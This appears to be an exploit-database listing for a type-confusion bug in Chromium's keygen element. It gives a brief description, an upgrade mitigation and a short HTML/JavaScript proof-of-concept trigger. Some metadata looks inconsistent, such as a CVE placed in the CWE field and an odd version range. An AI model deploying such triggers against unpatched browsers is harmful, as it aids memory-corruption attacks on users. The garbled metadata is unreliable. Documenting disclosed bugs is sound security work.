header-logo
Suggest Exploit
vendor:
Chromium
by:
Project Zero
6,5
CVSS
MEDIUM
Type Confusion Vulnerability
843
CWE
Product Name: Chromium
Affected Version From: Chromium version prior to 83.0.4103.106
Affected Version To: Chromium version 83.0.4103.106
Patch Exists: YES
Related CWE: CVE-2020-6519
CPE: a:google:chromium
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
2020

HTMLKeygenElement::shadowSelect() Type Confusion Vulnerability

The HTMLKeygenElement::shadowSelect() function in Chromium allows accessing (and modifying) userAgentShadowRoot from JavaScript. It blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type, which can lead to a type confusion vulnerability.

Mitigation:

Upgrade to the latest version of Chromium
Source

Exploit-DB raw data:

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=999 -->

<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>

<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->